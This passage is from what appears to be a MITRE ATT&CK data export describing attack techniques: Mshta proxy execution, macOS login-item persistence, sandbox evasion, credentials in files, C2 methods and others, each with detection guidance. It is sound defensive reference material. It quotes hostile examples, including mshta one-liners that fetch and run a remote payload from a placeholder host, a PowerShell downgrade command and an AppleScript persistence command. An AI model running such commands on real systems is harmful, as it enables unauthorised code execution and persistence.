"description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.",
"external_id": null,
"source_name": "Praetorian TLS Downgrade Attack 2014",
"url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: <code>powershell –v 2</code>). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.
Monitor for Windows event ID (EID) 400, specifically the <code>EngineVersion</code> field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)
Monitor network data to detect cases where HTTP is used instead of HTTPS. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Linux",
"macOS"
] | 1.2 |
attack-pattern | attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-10-12T06:45:36.763000Z" | "2022-04-20T22:54:47.164000Z" | XPC Services | Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)
Adversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1559.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1559/003"
},
{
"description": "Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022.",
"external_id": null,
"source_name": "creatingXPCservices",
"url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1"
},
{
"description": "Apple. (n.d.). Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Designing Daemons Apple Dev",
"url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html"
},
{
"description": "Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "CVMServer Vuln",
"url": "https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html"
},
{
"description": "Wojciech Reguła. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021.",
"external_id": null,
"source_name": "Learn XPC Exploitation",
"url": "https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.0 |
|
attack-pattern | attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-04-17T22:22:24.505000Z" | "2021-10-18T14:57:48.989000Z" | Virtualization/Sandbox Evasion | Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1497",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1497"
},
{
"description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.",
"external_id": null,
"source_name": "Deloitte Environment Awareness",
"url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc"
},
{
"description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.",
"external_id": null,
"source_name": "Unit 42 Pirpi July 2015",
"url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 1.3 |
attack-pattern | attack-pattern--830c9528-df21-472c-8c14-a036bf17d665 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:13.915000Z" | "2020-03-26T23:26:10.297000Z" | Web Service | Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1102",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1102"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-04T12:52:13.006000Z" | "2024-04-15T21:33:00.213000Z" | Credentials In Files | Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)
In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1552.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1552/001"
},
{
"description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
"external_id": null,
"source_name": "CG 2014",
"url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html"
},
{
"description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
"external_id": null,
"source_name": "Unit 42 Hildegard Malware",
"url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
},
{
"description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.",
"external_id": null,
"source_name": "Unit 42 Unsecured Docker Daemons",
"url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"
},
{
"description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.",
"external_id": null,
"source_name": "Specter Ops - Cloud Credential Storage",
"url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48"
},
{
"description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
"external_id": null,
"source_name": "SRD GPP",
"url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers"
] | 1.2 |
attack-pattern | attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-11T14:56:34.154000Z" | "2020-03-27T20:54:28.287000Z" | DNS Calculation | Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)
One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1568.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1568/003"
},
{
"description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
"external_id": null,
"source_name": "Meyers Numbered Panda",
"url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
},
{
"description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.",
"external_id": null,
"source_name": "Moran 2014",
"url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
},
{
"description": "Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.",
"external_id": null,
"source_name": "Rapid7G20Espionage",
"url": "https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-23T19:32:49.557000Z" | "2022-03-11T20:38:28.802000Z" | Mshta | Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>
They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>
Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1218.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/005"
},
{
"description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
"external_id": null,
"source_name": "Cylance Dust Storm",
"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
},
{
"description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
"external_id": null,
"source_name": "Red Canary HTA Abuse Part Deux",
"url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
},
{
"description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
"external_id": null,
"source_name": "FireEye Attacks Leveraging HTA",
"url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
},
{
"description": "Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
"external_id": null,
"source_name": "Airbus Security Kovter Analysis",
"url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
},
{
"description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
"external_id": null,
"source_name": "FireEye FIN7 April 2017",
"url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
},
{
"description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
"external_id": null,
"source_name": "Wikipedia HTML Application",
"url": "https://en.wikipedia.org/wiki/HTML_Application"
},
{
"description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
"external_id": null,
"source_name": "MSDN HTML Applications",
"url": "https://msdn.microsoft.com/library/ms536471.aspx"
},
{
"description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.",
"external_id": null,
"source_name": "LOLBAS Mshta",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.
Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.0 |
attack-pattern | attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-10-05T21:26:15.081000Z" | "2021-10-18T16:36:37.042000Z" | Login Items | Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.
Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1547.015",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/015"
},
{
"description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.",
"external_id": null,
"source_name": "Open Login Items Apple",
"url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac"
},
{
"description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
"external_id": null,
"source_name": "Adding Login Items",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
},
{
"description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021.",
"external_id": null,
"source_name": "SMLoginItemSetEnabled Schroeder 2013",
"url": "https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/"
},
{
"description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.",
"external_id": null,
"source_name": "Launch Services Apple Developer",
"url": "https://developer.apple.com/documentation/coreservices/launch_services"
},
{
"description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.",
"external_id": null,
"source_name": "ELC Running at startup",
"url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/"
},
{
"description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.",
"external_id": null,
"source_name": "Login Items AE",
"url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788"
},
{
"description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.",
"external_id": null,
"source_name": "Startup Items Eclectic",
"url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/"
},
{
"description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.",
"external_id": null,
"source_name": "hexed osx.dok analysis 2019",
"url": "http://www.hexed.in/2019/07/osxdok-analysis.html"
},
{
"description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.",
"external_id": null,
"source_name": "Add List Remove Login Items Apple Script",
"url": "https://gist.github.com/kaloprominat/6111584"
},
{
"description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
"external_id": null,
"source_name": "objsee mac malware 2017",
"url": "https://objective-see.com/blog/blog_0x25.html"
},
{
"description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.",
"external_id": null,
"source_name": "CheckPoint Dok",
"url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/"
},
{
"description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.",
"external_id": null,
"source_name": "objsee netwire backdoor 2019",
"url": "https://objective-see.com/blog/blog_0x44.html"
},
{
"description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.",
"external_id": null,
"source_name": "objsee block blocking login items",
"url": "https://objective-see.com/blog/blog_0x31.html"
},
{
"description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
"external_id": null,
"source_name": "sentinelone macos persist Jun 2019",
"url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
},
{
"description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.",
"external_id": null,
"source_name": "Launch Service Keys Developer Apple",
"url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.
Otherwise, login Items are located in <code>Contents/Library/LoginItems</code> within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)
Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS"
] | 1.0 |
attack-pattern | attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-03-17T20:04:09.331000Z" | "2022-10-19T22:01:05.551000Z" | Stage Capabilities | Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)
Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):
* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)
* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)
* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)
* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1608",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1608"
},
{
"description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
"external_id": null,
"source_name": "Volexity Ocean Lotus November 2020",
"url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
},
{
"description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
"external_id": null,
"source_name": "Netskope GCP Redirection",
"url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
},
{
"description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
"external_id": null,
"source_name": "Netskope Cloud Phishing",
"url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
},
{
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "ATT ScanBox",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
"external_id": null,
"source_name": "DigiCert Install SSL Cert",
"url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
},
{
"description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.",
"external_id": null,
"source_name": "Gallagher 2015",
"url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
},
{
"description": "Jérôme Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
"external_id": null,
"source_name": "Malwarebytes Heroku Skimmers",
"url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
},
{
"description": "Kent Backman. (2021, May 18). When Intrusions Don’t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
"external_id": null,
"source_name": "Dragos Heroku Watering Hole",
"url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
},
{
"description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.",
"external_id": null,
"source_name": "FireEye CFR Watering Hole 2012",
"url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
},
{
"description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
"external_id": null,
"source_name": "Malwarebytes Silent Librarian October 2020",
"url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
},
{
"description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
"external_id": null,
"source_name": "Proofpoint TA407 September 2019",
"url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.2 |
